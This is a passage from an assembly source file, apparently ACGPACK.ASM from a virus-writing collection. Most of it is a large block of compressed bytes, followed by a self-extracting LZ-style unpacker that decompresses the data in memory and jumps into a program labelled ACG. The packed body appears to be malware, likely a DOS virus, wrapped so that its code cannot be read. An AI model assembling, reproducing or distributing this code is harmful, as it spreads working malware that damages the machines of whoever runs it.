83h,0FCh, 33h,0FDh, 66h,0A4h, 10h,0FAh, 44h, 77h,0FBh,0B7h, 76h,0E8h db 21h, 2Ah, 5Ch, 71h,0CCh, 12h,0CBh, 5Bh, 87h, 5Eh, 1Ah,0FCh,0FFh,0FFh, 86h,0ECh db 0FFh, 67h, 94h,0F8h,0FFh, 50h, 4Ah,0FCh, 28h, 6Ch,0D1h, 89h,0A0h,0FDh, 79h, 84h db 63h, 87h, 91h, 88h, 14h, 3Fh, 79h, 63h,0FFh,0BBh, 20h,0E2h, 1Fh, 0Fh, 7Dh, 82h db 0D5h, 17h, 25h,0F9h, 42h, 23h,0FFh, 27h, 48h,0FEh,0FFh, 58h, 4Fh, 24h,0FFh, 5 db 11h, 71h, 24h,0FFh, 3Dh, 8Ah,0E4h, 1Fh,0FFh,0FFh, 7Fh, 5Fh, 37h,0F2h, 91h,0FCh db 3Bh, 33h, 6Ah,0A1h,0F4h, 30h,0FEh, 88h,0B4h,0C5h, 3Fh, 16h,0C5h, 8Fh,0D6h,0BDh db 8,0FAh, 64h,0F4h,0F1h, 27h, 0Fh, 3Ah,0E2h,0FFh, 0Fh, 38h,0FFh,0DFh,0DEh, 7Eh db 0E2h, 9Fh,0E9h,0C4h,0FFh, 0Bh, 42h, 7Fh,0FFh,0BFh, 81h, 13h, 71h,0C7h, 7Ah,0E2h db 7Fh, 14h,0E8h, 97h, 7Ah,0BBh, 77h,0E2h, 42h,0E8h, 77h, 22h, 98h,0C9h,0E8h,0DBh db 0E3h,0BFh,0C1h,0F4h, 2Dh,0BAh,0D0h, 5Eh,0FFh,0FFh, 3Bh,0FCh, 98h, 33h, 74h, 8Ch db 7Fh, 32h, 3Dh,0E6h, 9Eh, 3Eh,0C6h,0FFh, 64h,0D2h, 0Dh,0F0h, 43h, 79h,0EEh, 7Dh db 38h,0ABh,0C6h, 20h, 63h, 87h, 1Bh, 0Bh,0F5h,0FEh, 9Bh,0FAh, 3Ah,0FBh, 82h, 2Eh db 0E6h, 4Ch, 4Eh, 1Fh,0D0h,0BEh,0AEh, 0Eh, 6Eh,0D0h, 1,0BEh,0BDh, 5Ch,0C7h,0C5h db 0F4h, 0Ah,0FEh,0F2h, 81h, 32h, 81h,0C7h, 72h, 80h, 5,0B4h, 2Dh, 0, 4Ch, 1 db 0BCh, 9Fh, 9Fh,0A2h, 1Dh, 0,0FAh,0FDh, 86h, 1Ah, 4Bh, 9, 19h,0CEh,0FEh, 51h db 74h, 59h, 8,0C8h, 69h, 28h,0E6h, 9Fh,0FDh, 3Fh,0D5h,0C7h, 56h, 53h, 34h, 2Dh db 7,0C4h, 0Dh, 8Ah, 0Bh,0E4h,0F9h,0C8h,0EBh,0F4h, 1Dh, 32h, 81h, 3Eh,0E9h,0D5h db 6Bh, 6Ch, 4Ch,0FFh,0E9h, 17h, 25h,0A0h, 63h, 53h, 79h, 64h,0CFh, 82h, 65h, 4Bh db 32h, 7Fh,0DEh,0BAh,0C1h, 44h,0D1h, 99h, 8Bh, 0Ah,0FBh,0F9h, 7Eh,0F0h, 4Bh, 0Eh db 6Dh, 22h, 74h, 99h, 4, 42h,0B5h, 7Bh,0CEh, 43h,0EFh, 0Bh,0AFh, 53h, 84h, 40h db 0CAh,0BAh,0B6h,0F1h,0AAh, 3Ah,0C6h, 75h, 68h,0C6h, 5Fh, 77h, 3Fh, 28h, 24h, 7Ah db 0Fh, 1Bh,0E9h, 2Ch, 44h, 45h, 7Eh, 97h,0B6h, 75h, 5, 74h, 7Bh,0DDh, 5Eh,0CAh db 4Ch,0C5h,0C3h, 73h,0FFh,0C5h, 64h, 77h, 1Fh, 29h,0CBh,0A0h, 57h, 1Eh, 81h, 1Eh db 0C4h,0F5h, 18h,0E8h, 0Eh, 94h, 5, 0Eh,0CBh, 0Dh,0EEh,0AEh, 77h, 6Dh, 73h,0A7h db 40h,0FFh, 7Bh,0A0h, 8Fh, 2Fh, 69h, 8, 8Dh,0C7h, 7, 1Dh, 49h, 2Eh, 8Dh, 1Dh db 0E8h,0F3h, 85h, 11h, 4Bh, 31h, 6Ch, 15h, 16h,0F5h, 4Ah, 41h,0F8h, 0,0F4h, 6Fh db 1Dh, 0, 3, 12h,0BDh,0B5h,0FFh, 41h, 88h, 74h, 6Fh, 83h,0DFh, 24h,0FAh, 2Ch db 5Bh,0E8h,0A6h,0B5h, 5Ch,0F7h,0DDh, 51h,0BEh, 8Fh, 0Eh,0A5h, 83h,0D0h, 99h, 9Fh db 0CAh, 50h,0C1h, 55h,0A8h, 48h, 43h,0F1h,0A0h, 1Dh, 75h,0A8h,0C1h, 1Dh, 92h, 1Fh db 81h, 70h, 3Eh, 92h, 8Bh,0CBh, 8Ch, 1Bh, 4Bh,0ACh,0FBh, 7, 8Eh,0A4h,0B7h,0E0h db 7Eh, 17h, 1Dh, 50h, 9Bh,0BEh,0F8h, 43h, 2Ch,0A8h, 2Fh,0A1h,0F0h, 18h,0EAh,0DFh db 0C9h, 12h, 4Dh,0D4h, 87h, 49h, 61h, 61h, 25h,0EEh, 2Ah,0C1h,0CAh, 5Dh, 3Dh, 55h db 7Fh,0B5h, 1, 63h, 3Fh, 82h,0BBh,0A1h, 68h,0FBh, 5Ch, 4, 8Bh,0F3h,0D9h, 3Eh db 41h, 30h,0B5h,0A7h, 25h,0D5h, 25h,0C8h, 82h, 89h,0D7h, 16h, 5Fh, 20h, 8,0CAh db 2Dh, 7Ah, 6Dh, 40h, 87h, 4Fh, 0, 1Dh,0E3h,0D0h, 0Dh,0ABh,0ADh, 5Fh, 30h,0DDh db 0B4h,0F7h,0DBh, 5Ah,0C2h, 39h, 61h, 0Eh, 1, 8Bh, 0Dh, 0, 40h, 98h, 7, 9Dh db 20h, 7Ch, 83h, 34h, 0Fh, 93h, 41h, 1Eh, 6Eh,0BDh, 34h,0F7h,0E3h, 59h, 5Fh, 3Bh db 81h, 42h,0D3h,0FDh,0E0h, 57h, 90h, 6Ah, 53h, 8Bh,0B8h,0AFh, 88h,0E8h,0D2h,0C4h db 0DDh, 2,0EAh, 10h, 10h,0BAh, 6Fh,0FDh,0FEh,0BAh, 38h, 74h,0B4h,0DBh,0C2h,0FDh db 0Ch, 0Eh, 4Fh, 8Dh, 23h, 33h, 7Fh, 76h, 14h, 9Dh, 5Fh, 75h,0FFh,0D3h,0ACh,0ECh db 0Ch, 0Fh, 25h,0C3h, 4Dh,0CCh, 1Fh, 97h,0E5h, 4Ch, 4,0E0h,0CFh, 26h, 7Dh, 90h db 0EDh, 9Ch, 9, 9Dh, 50h, 43h,0FCh, 4Dh, 3Fh, 1Eh,0CDh, 83h,0C2h,0BFh, 27h, 1Ah db 0B6h,0C5h,0EFh, 42h,0D4h,0FEh, 31h, 79h,0B4h,0B6h,0FAh, 4Ah, 5Eh,0C9h, 37h, 48h db 32h, 9Eh, 12h, 5Fh, 82h, 8,0DFh, 29h, 56h, 3Bh, 12h, 7Fh,0A0h, 5Bh, 42h,0BFh db 1Fh, 5Dh,0E3h,0B5h,0E3h, 84h, 12h, 44h,0F6h, 83h, 87h, 67h, 6Dh, 7Fh,0DFh, 0Bh db 0D1h,0AFh,0DBh, 6Ch,0C4h, 3Bh,0DBh,0C3h, 6Eh, 8Bh,0ABh,0CEh, 45h,0EBh, 4Dh, 84h db 0A4h, 0Ch,0DBh,0A2h,0A9h,0DFh,0F0h, 53h, 9,0D0h, 11h, 9Ch, 2Dh,0DEh, 7Bh, 9Fh db 0A3h, 78h, 6Fh,0C2h,0E3h,0FDh,0BDh, 9, 67h, 77h, 45h,0F7h, 53h,0C5h, 1Fh, 4Bh db 9Ch, 7Bh, 2Eh, 90h, 59h, 3Dh, 55h, 1Dh, 69h, 8Bh,0CEh,0EFh,0C5h, 69h, 4Eh,0E8h db 0,0BAh, 5Dh,0F4h,0B8h, 41h, 7Eh, 94h, 7Dh,0E7h,0D4h,0FBh, 4Eh, 60h,0CFh, 42h db 3Eh,0DBh, 28h,0A4h,0C7h, 9, 3Fh,0BEh,0B0h, 19h,0E5h, 94h,0C6h, 3Eh,0F5h, 33h db 0D8h, 14h, 89h, 98h, 8Ch,0AFh, 54h,0F0h, 1, 88h,0E3h, 2Ah, 33h, 83h,0A0h, 0Eh db 45h, 10h,0C0h, 5, 91h, 60h,0DDh,0B0h, 93h, 68h,0BDh,0EFh,0FDh,0C0h, 80h, 32h db 8Dh,0F5h,0ADh, 3, 0,0E2h, 41h,0D0h,0F8h, 16h, 51h,0E7h,0BAh, 69h, 28h, 74h db 14h, 10h, 2Bh,0C4h,0A3h,0F2h, 8Eh,0CBh, 48h, 0Eh, 58h,0E0h, 89h, 2Dh,0F8h, 98h db 0F7h, 0Dh, 48h, 3, 89h, 41h,0A5h, 52h, 8Dh,0F7h, 53h,0B2h, 74h, 59h,0B0h, 88h db 31h,0ECh,0DDh, 1Dh, 8,0E5h, 20h,0E0h,0ECh, 9Ah, 12h,0B2h,0E9h, 6Bh, 2, 6Ch db 6Ch, 41h, 41h, 31h, 2Bh, 4Dh, 63h, 7,0EFh,0B0h, 0, 3Ah,0D8h,0A6h, 2Bh, 26h db 0B9h, 45h, 1Fh, 90h, 88h, 15h, 8Bh, 32h, 45h,0C0h,0FCh, 89h,0CEh,0C9h, 3Ch, 32h db 1Dh,0DEh, 77h,0BBh, 26h, 24h,0F4h,0D7h, 40h, 3Bh,0BFh, 5Fh, 13h, 8Bh, 52h, 78h db 0BFh, 6Fh, 9,0FEh,0E9h, 37h, 1Ah, 96h, 44h, 35h,0AEh, 93h, 7Fh, 6Fh,0DAh, 0Fh db 2, 0Ah, 3Eh,0C2h, 2Dh, 35h,0A0h, 70h, 5Ch, 40h,0E1h, 67h, 98h, 59h, 8Fh,0DAh db 0C3h, 65h, 61h, 7Ah, 3, 16h,0ECh,0A6h, 1Dh, 6Ch, 55h,0A3h,0BCh, 1Eh,0DFh, 44h db 0D2h,0FEh, 21h, 3Fh, 96h, 82h,0EEh,0EEh,0DFh,0E0h, 4Eh, 7Bh,0B1h, 4Eh, 7Ch,0B6h db 0DFh, 95h, 1Dh, 95h,0CDh, 23h, 9Eh,0B9h, 70h, 47h, 2, 2Dh, 2,0F5h, 0Eh,0EAh db 43h, 17h, 80h,0DCh,0BCh,0D5h,0D6h, 4Eh,0D5h, 6Ch, 85h, 2Eh,0FBh,0F0h, 8Bh,0D0h db 0BAh, 43h,0DEh, 21h,0CFh,0E1h,0BBh,0ADh, 5Ah,0D7h, 2Dh,0F4h,0E1h, 77h, 5Ch, 0Ch db 5Eh, 60h, 5Fh, 9Dh, 3Ch, 75h, 3Fh, 92h,0BBh, 1Ah,0B6h, 39h, 3Ch, 67h, 6,0EEh db 7Fh, 73h, 95h, 33h, 3Bh, 55h,0F8h,0FFh,0F4h, 8,0FFh, 95h,0A0h, 91h,0EAh, 0Ah db 0BDh, 3Eh,0A7h, 3Eh,0ABh, 5Eh, 40h, 9Eh, 7Ch, 7Dh, 89h,0AFh, 87h, 17h, 52h,0BEh db 81h, 14h,0FFh,0FFh, 7Ah, 21h,0FEh, 7Fh,0E6h,0FFh,0FFh,0B9h, 0Bh, 94h,0E1h, 1Fh db 0FCh,0FFh,0FFh, 97h,0CFh,0F0h, 39h, 32h, 3Eh,0E8h,0F8h, 82h,0B4h,0FCh, 49h,0A9h db 1Fh, 14h, 7Ah, 0, 73h,0B9h, 40h,0FCh,0C4h,0FFh, 2Bh, 78h,0FCh,0FFh,0DFh, 82h db 48h,0FCh, 50h, 48h, 96h, 93h,0F6h, 52h, 75h,0C6h,0B8h,0EDh,0F8h, 33h,0A8h, 4Ch db 19h, 74h, 0, 8,0F8h, 9Ch, 67h, 4Ch, 4, 62h, 3Fh, 3Fh, 50h, 59h, 84h, 58h db 8Eh,0C2h, 4,0F6h, 5,0AAh, 95h,0C2h, 62h, 60h, 4Ah, 7Dh, 8Ah,0FAh,0D5h, 29h db 11h, 19h,0E9h, 7Fh, 48h,0F4h, 0Eh,0EBh, 17h, 33h,0CEh,0E4h,0C7h,0F5h, 42h,0FDh db 85h,0F4h, 83h,0BDh,0A1h,0A0h, 89h, 66h, 81h, 1, 5Fh, 2Fh, 2Ah, 3, 80h, 89h db 2Bh, 82h, 0Fh, 24h, 8Eh,0B4h, 5,0D2h, 7Bh, 40h, 3Dh, 81h, 0Dh, 2, 10h, 74h db 87h, 8, 96h,0B0h,0B7h,0C3h, 88h, 39h,0A2h,0E1h,0C9h, 91h,0FBh, 1Bh, 74h, 95h db 0C5h, 23h, 37h, 80h, 78h, 14h,0BDh, 6Ch, 5Ah,0F2h, 0Dh, 1Bh,0C9h, 54h,0B1h, 2Dh db 0C5h, 85h, 32h,0AEh,0FEh, 97h,0F4h, 74h,0A1h, 8Bh, 9Eh,0CFh, 6Fh,0A1h, 4Ch,0FCh db 8Ah, 4Fh,0D1h, 30h, 6Eh,0FFh, 70h,0EEh, 7Eh, 7, 8Ah,0DFh, 4Eh,0CCh, 2Dh, 28h db 0FCh, 1Ch, 7Fh, 70h, 4Dh, 57h,0D9h, 0Bh, 58h,0F7h, 7Ch, 40h, 67h, 72h,0FBh, 2 db 98h, 19h, 96h,0DBh, 64h,0A3h,0F4h,0C1h,0A2h, 2Bh, 14h, 3Ah,0ECh, 5Ah, 8Bh, 81h db 80h, 11h, 8, 17h,0C0h,0B3h, 8Ah,0E9h, 13h,0F4h, 20h,0E4h,0E1h, 7, 0Ah, 9Dh db 0EAh, 9Fh,0AFh, 5Bh, 5Fh, 5Eh,0FAh,0F8h,0A6h,0CEh,0AEh,0ACh,0AFh, 87h, 75h, 5Eh db 0D9h,0ADh, 3Eh, 3Eh, 1Dh, 0Ah,0D5h, 6Bh, 8Fh, 80h,0CEh,0B4h, 7Eh,0D0h,0B3h, 52h db 33h,0F2h, 24h,0FDh,0FDh,0ECh, 51h,0ADh, 87h, 44h, 7Ah, 7Eh,0A2h, 2Fh, 0, 8Dh db 25h,0A5h,0F4h,0D7h,0FAh, 7Fh, 14h, 74h, 0Ch,0D0h,0DFh, 0Bh,0F4h,0C9h,0E0h, 2Ch db 90h,0BEh,0ACh,0EFh,0E1h, 57h,0B3h,0A0h, 45h, 0Ah, 86h, 39h,0F8h,0D5h, 42h, 37h db 0E7h, 48h, 2Dh, 5Bh,0B5h, 1Ch,0B0h, 75h, 2Ah,0D3h, 4Ch, 81h, 21h, 6, 9Eh, 20h db 1Bh, 55h, 98h,0BFh,0C9h, 2Eh, 9Bh,0C5h, 6, 0, 2, 19h, 6Eh, 50h, 3Fh, 9Bh db 80h, 7,0ADh,0F9h, 8,0C0h,0E6h,0EBh, 0Bh, 1,0A6h,0AFh, 95h, 9Ah,0C7h, 0Fh db 3,0E1h, 8Ah, 7Fh, 5Fh, 15h, 5, 36h,0C9h,0FFh, 87h,0A1h,0B5h, 46h,0BFh, 81h db 7Eh, 7Dh,0B4h,0D0h,0C9h,0FFh, 47h, 82h, 1Fh,0CCh,0B2h,0EDh,0FDh,0DCh, 8Bh, 8Dh db 7Ch, 4, 88h,0F1h,0B0h, 64h, 7, 7Eh, 94h, 6Dh, 63h,0D1h,0B6h, 85h,0D2h,0A4h db 38h, 20h, 71h,0D1h, 0Eh,0A0h,0D3h,0BDh, 8Ch, 5, 50h, 66h, 43h,0C8h,0C4h, 87h db 7,0C2h,0BEh, 41h, 95h,0C7h, 4Eh, 27h,0DAh, 4, 94h, 0, 94h, 61h, 0, 4 db 0E0h, 2Bh, 25h,0CAh,0D1h, 5Dh,0AEh, 63h,0ABh,0A1h,0D7h, 61h,0D5h,0F1h, 31h, 1Ch db 5Bh,0FDh,0ACh,0EBh,0FFh, 68h, 17h,0BFh,0AFh, 1Ch, 4, 30h, 62h, 44h, 69h, 2Ch db 30h,0ADh, 3Dh, 75h, 0Dh,0AFh, 80h, 0Eh, 3, 35h,0FCh, 31h, 0Dh, 22h,0C5h, 5 db 1Eh,0E8h, 82h, 87h, 3, 10h,0F2h,0E3h,0B9h,0F3h, 6Ch,0DCh,0EDh, 5Ch, 14h, 95h db 3, 26h, 7Fh,0E9h,0AFh, 0Bh,0BAh, 79h, 48h, 0Eh, 89h,0E8h, 19h,0A6h, 0Eh, 9Fh db 4Fh,0CEh, 87h, 4Bh, 53h,0BAh, 2Bh,0ABh,0F1h, 56h, 2Fh, 2Ah,0FEh, 13h,0A0h, 66h db 0D5h, 22h, 0Ah,0B2h, 46h,0C1h, 7,0F3h,0F7h,0C7h,0BDh, 62h,0EDh, 1Bh, 60h,0E3h db 2Ch,0D0h,0C7h, 6,0D9h,0A6h,0E0h, 54h,0BDh, 53h, 7Eh,0D0h, 41h, 63h, 42h,0E8h db 51h,0ADh,0E8h,0BFh,0FDh,0B1h,0D3h, 97h,0A6h, 83h, 1Ah, 51h,0ABh, 97h,0D2h,0E9h db 0ECh,0FAh, 24h, 14h,0A2h,0BFh, 80h,0FEh, 97h, 8Bh,0EBh, 9Bh,0F3h, 77h, 64h,0CBh db 0F1h,0BDh,0D6h, 2Dh, 30h, 0Fh, 49h,0E7h,0CCh,0D6h, 0Ch, 80h,0F0h, 9Eh,0A2h, 3Fh db 36h,0ECh, 73h,0B2h,0DEh, 4Ah, 95h, 14h, 8Eh, 6Ah, 7Fh,0E8h, 1Fh, 40h,0BFh,0F2h db 0C8h, 14h,0A9h, 43h, 40h, 7Ch, 36h, 7Bh, 51h, 5Bh, 62h, 86h, 38h, 71h,0C4h,0CFh db 80h, 5Dh,0C3h, 7Dh, 4Eh, 32h, 5,0E2h, 0Ch,0A0h,0CFh, 80h,0DFh, 90h, 3, 88h db 45h,0AFh,0CEh,0D4h, 6, 3Ah, 88h,0F6h, 84h,0F4h,0BFh, 1Ah, 0Ch,0EFh, 60h, 1Ch db 27h,0AEh,0C6h,0FBh,0E8h, 5Ah,0BDh,0B7h,0FEh, 8Eh,0F1h, 17h, 44h, 20h, 96h, 97h db 29h, 3Ah, 90h, 5,0D1h,0E3h, 5Dh,0D5h, 6Dh,0A6h, 87h,0BAh, 33h, 7Bh, 8Dh,0FAh db 0FEh,0F9h, 56h, 65h,0FFh,0FFh, 9Ah,0A5h, 7Fh, 85h,0CFh, 52h, 80h,0C2h, 67h,0A9h db 0BFh, 5Bh,0B4h,0B9h, 53h, 57h, 8Ch,0FFh, 49h,0A0h, 1Eh, 20h, 85h, 75h,0EFh, 59h db 8Bh, 0Ah, 88h, 25h, 1Bh,0CAh,0E3h, 97h,0CAh,0DCh,0D5h, 1Ch,0BFh, 86h,0E2h, 83h db 6Fh,0CDh, 7Ah, 1Dh, 1Eh,0F6h,0ABh,0BBh, 78h,0CFh, 7, 7Dh,0BBh,0E6h, 6,0E9h db 40h,0D7h, 6Fh,0A4h,0AEh, 8Fh, 68h, 36h, 91h, 46h, 19h, 96h,0FAh,0C7h,0AEh, 4Bh db 2Eh, 18h, 75h, 57h, 41h,0EEh, 87h, 20h, 13h, 8Dh,0A7h,0B2h, 90h, 2,0C0h, 40h db 0B0h,0F6h, 59h,0B4h,0BBh, 3Dh, 2Ch, 79h, 42h, 7,0D9h, 86h, 9Bh, 2Bh,0CAh, 75h db 3,0AAh, 9, 94h,0A5h, 23h,0FAh, 31h, 4Fh, 14h, 36h, 22h, 95h, 15h, 96h, 76h db 94h, 91h, 2Dh, 10h,0AAh, 3Dh,0E5h, 44h, 5Ch,0B5h,0CFh,0C2h, 34h, 0, 5Ah, 60h db 35h, 3Dh, 44h, 3, 10h, 8, 1Bh, 4,0FDh,0FAh, 0,0B9h,0D4h,0AFh,0CFh, 4Bh db 8Ah, 1, 1Dh, 1Dh, 74h, 17h, 72h, 9Bh,0A2h, 44h, 6Dh, 5Dh,0A1h, 17h,0D0h,0B7h db 74h, 15h,0AEh, 36h,0BBh, 0Eh,0CEh,0ABh, 72h, 6, 5,0E5h,0FFh,0FFh, 2Ah,0FAh db 0FAh, 16h, 55h, 40h, 38h, 37h, 1,0FDh, 67h, 85h, 13h, 43h,0A3h, 8Ch,0CFh,0EBh db 7Fh, 0, 7Dh, 79h, 8Dh,0F6h, 69h, 1Ch, 88h, 5,0D8h, 8Ch, 80h, 23h, 7Ah,0D7h db 78h, 8Ah, 3, 45h, 5, 83h, 9Bh,0D6h,0DEh, 37h, 22h,0ACh, 77h, 3Ah, 3Eh,0BAh db 75h, 36h, 0Ah, 28h, 8Ch, 9,0E8h, 58h, 41h, 2Bh, 18h, 0Bh, 44h,0B0h, 4Eh,0DFh db 4Eh, 67h,0BFh, 82h,0F3h,0D8h, 2Bh, 1Dh, 45h, 55h, 13h,0E0h,0E9h,0FFh, 0Fh,0DDh db 0F0h, 58h, 7Fh,0A8h,0D2h,0C6h,0CDh,0C9h, 74h,0AEh, 7Fh, 76h, 21h, 2Dh, 13h,0D0h db 79h, 5Fh,0C6h,0BAh,0FFh, 9Fh,0D3h, 97h,0B1h, 31h, 3Fh,0FDh, 3,0F6h, 0, 58h db 36h, 1Dh,0E9h, 60h, 40h,0FEh, 68h, 49h, 7Dh, 32h,0B1h, 9, 44h, 12h, 5Dh, 0Ah db 0E2h, 92h,0FCh, 8Dh,0EBh,0F8h, 23h, 7Dh,0A6h,0E4h,0D1h, 0Fh, 45h, 26h, 34h, 5Eh db 58h, 9Fh, 74h, 94h, 87h,0ADh,0EBh, 5Fh,0A4h, 5Eh, 23h, 74h,0F5h, 1, 12h, 72h db 82h, 7Bh,0EBh, 54h, 0Fh, 4Fh, 0Eh, 82h, 1Ah,0EDh, 63h,0F8h, 14h, 21h,0F6h, 34h db 0D7h, 4Fh,0FFh,0EAh, 1Fh,0EEh,0C4h,0FFh,0F6h,0E9h, 59h,0A3h, 5Dh, 4Ch,0EFh, 6Ah db 55h, 67h,0DCh, 3Ah, 3, 26h, 15h,0F7h, 65h, 3Ah, 0Ah,0A4h,0A4h, 1Eh, 41h, 1Dh db 6Fh,0FEh, 9Ch, 1Fh,0BCh,0EAh,0FBh,0E9h, 28h, 26h,0DDh, 60h, 5Fh,0BDh,0E6h, 71h db 9Ch, 70h, 1Bh,0C2h,0F0h, 0, 14h, 6Bh,0B5h,0FAh,0BAh, 56h,0B1h, 13h,0EFh, 4Bh db 2Dh, 61h, 47h, 26h, 0,0A4h, 5Bh,0FDh, 5Ch, 64h,0EDh,0F8h, 98h,0FDh, 5, 75h db 6Ah, 86h, 2Fh,0A0h, 0, 1, 5Fh, 52h, 59h,0DBh, 0Dh, 18h, 22h, 4Ch,0EFh,0DFh db 62h,0D0h,0B0h, 6Eh, 13h, 39h, 6, 63h,0E4h,0CFh,0D3h, 23h, 21h,0A3h, 5Fh, 0Dh db 0A5h,0D7h,0F7h, 6Ah, 0Ah, 90h, 50h,0C2h,0F1h, 16h, 7, 81h,0A5h, 36h, 3Fh, 30h db 0D0h, 95h, 40h, 17h, 57h,0B1h, 69h, 61h, 9Ah, 32h, 31h, 8Ah,0A9h,0CAh, 2, 4Ch db 0D8h, 5Ch,0F1h,0C4h, 18h,0E4h, 7Dh, 40h, 4Fh, 30h, 27h,0F3h, 91h, 9,0A9h,0E8h db 0B0h,0EEh, 5Bh, 3, 7, 40h, 3Dh, 30h, 85h,0B0h, 60h,0FCh, 8Eh,0A5h,0AAh,0E6h db 0C8h,0E5h, 70h, 54h, 69h,0F0h, 3, 70h,0B1h,0C7h,0C8h, 98h, 6,0F8h,0D4h,0A9h db 2Dh,0B6h, 97h,0ABh, 5Bh, 63h, 83h, 77h, 7Dh, 81h, 86h, 94h, 57h, 67h,0C0h, 83h db 33h,0FEh, 25h,0B6h, 1Bh,0EAh,0FFh, 6Dh, 8Bh,0A2h, 7Ch,0BDh, 87h, 71h, 52h, 6Dh db 0EAh,0E0h,0E6h, 35h,0B4h, 31h, 8Ah,0E4h, 6Bh, 6Bh, 44h, 7Fh,0EDh, 97h, 1, 5Dh db 4Bh, 55h, 0Fh, 55h, 5Ch,0A1h, 4Dh, 26h,0E6h,0E3h, 3Eh, 38h,0F9h,0FEh, 1Bh,0CBh db 82h,0C0h, 4Bh, 2,0A3h,0CEh, 11h,0B6h,0C2h,0A3h,0B0h,0DDh, 6Dh,0DDh, 42h, 7Fh db 7Eh,0BEh,0A0h, 64h,0D0h, 6Ah, 0Bh, 0Bh, 1Fh, 57h, 3, 5Bh, 41h, 96h,0C4h, 54h db 55h, 9Bh, 42h,0E8h, 82h, 1Eh, 40h, 62h,0F3h, 2, 9Dh,0A8h, 9, 17h, 26h, 8 db 4, 4Ch, 8,0A6h, 75h,0B0h,0DDh, 54h, 0Ch, 43h,0CDh, 4, 0, 7Eh, 9Bh, 80h db 0FDh,0F8h, 57h, 22h, 8Ah, 29h,0ACh, 24h,0C9h,0A6h, 3, 9Bh, 81h, 44h, 90h,0CDh db 0EBh,0A4h, 55h, 27h, 6Ch, 86h, 61h, 5Ah, 44h,0C6h, 5Eh, 8, 1Dh, 2,0F0h, 0 db 0C0h, 98h, 19h,0DFh, 76h, 18h, 1, 40h, 93h, 23h,0DCh, 36h, 91h, 62h, 46h,0B9h db 0D6h, 31h,0B5h, 86h, 6Dh,0C0h, 8, 68h,0CAh,0CAh, 81h,0A8h, 20h, 35h, 0Dh,0A1h db 84h, 83h, 8Ch, 20h,0A1h,0C0h, 43h,0C4h, 94h,0FAh, 60h, 94h,0B0h, 52h, 2Eh, 68h db 17h, 38h, 71h, 0Ah,0D2h, 43h, 50h,0E2h, 4Ch, 2Ch, 48h, 20h, 1,0C4h,0D4h, 0Ah db 88h, 67h, 2Dh, 16h, 8Ah, 13h, 7Bh, 50h, 92h, 0Ah, 71h, 5Eh, 71h,0D4h, 8Ah, 13h db 12h,0D2h, 2Eh, 0Bh, 17h, 9, 69h,0A4h, 44h, 76h, 5Dh, 31h,0F1h, 44h, 7Bh, 20h db 0Dh, 79h,0DBh, 7, 8Ch, 2Bh, 78h,0E2h, 4Fh,0C4h, 46h, 8Fh,0F1h, 7,0E5h, 82h db 0DEh, 11h, 20h,0B2h, 21h, 0Ah, 0Ah, 20h,0FFh, 58h, 80h, 3Bh,0FFh, 7Fh, 41h, 0 db 0,0FCh,0FFh,0FFh ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ getBIT proc near dec dx ; check number of bits left jnz GetBit2 xchg ax, bp ; save AX lodsd ; load bits in EAX xchg eax, ebp ; restore AX and leave bits in EBP mov dl, 20h GetBit2: ; CF = bit from EBP shl ebp, 1 retn getBIT endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ getNbits proc near xor ax, ax loc_0_1F15: call getBIT rcl ax, 1 loop loc_0_1F15 retn getNbits endp ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Unpack_N_Bytes: mov bx, 0FFFFh xor cx, cx Increment_ECX: inc cx call getBIT jb Increment_ECX cmp cl, 20h jnb End_Compression push cx sub cl, 2 sbb cl, -(2+3) ; CL += (CL<2 ? 2 : 3) cmp cl, 7 jbe loc_0_1F3B mov cl, 7 loc_0_1F3B: call getBIT jnb not_too_far ; jump if relative offset isnt too far shl bx, cl dec bx ; BX = ((BX << CL) - 1) shl cl, 1 dec cx dec cx ; CL = (CL*2 - 2) not_too_far: call getNbits sub bx, ax ; calculate relative offset pop cx ; ECX = number of bytes to copy CopyBytes: ; get repeated byte mov al, [bx+di] stosb ; store it loop CopyBytes Unpack: call getBIT jb Unpack_N_Bytes ; jump if not stored method mov cl, 8 call getNbits ; get 8 bits in AX StoreByte: ; store byte stosb jmp short Unpack ; unpack more bytes ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ End_Compression: pop es assume es:nothing pop ds ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ assume ds:nothing Jump_to_ACG db 0E9h ; (this instruction is executed in offset 3FFDh) dw (102h - 4000h) Unpacker_End db 0F0h ; Check Byte seg000 ends end ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ACGPACK.ASM]ÄÄÄ